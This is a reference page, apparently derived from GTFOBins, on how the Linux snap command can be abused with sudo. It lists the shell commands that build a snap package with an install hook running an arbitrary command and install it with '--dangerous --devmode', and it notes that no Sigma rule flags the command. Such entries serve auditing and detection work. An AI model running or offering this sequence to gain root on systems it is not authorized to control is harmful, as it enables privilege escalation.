Identifier / Programs / Linux and Unix
snap
snap can refer to multiple commands with the same name. tldr-pages
GTFOBins command 1 documented command
How snap is abused
command
install
--dangerous--devmodeEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for snap.
1 documented command
command with sudo
Generate the Snap package with fpm and upload it to the target.
mkdir -p meta/hooks
echo -e '#!/bin/sh\n/path/to/command; false' >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all metasnap install xxxx_1.0_all.snap --dangerous --devmodeIdentifyThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for snap. The identifier reads the line that runs snap.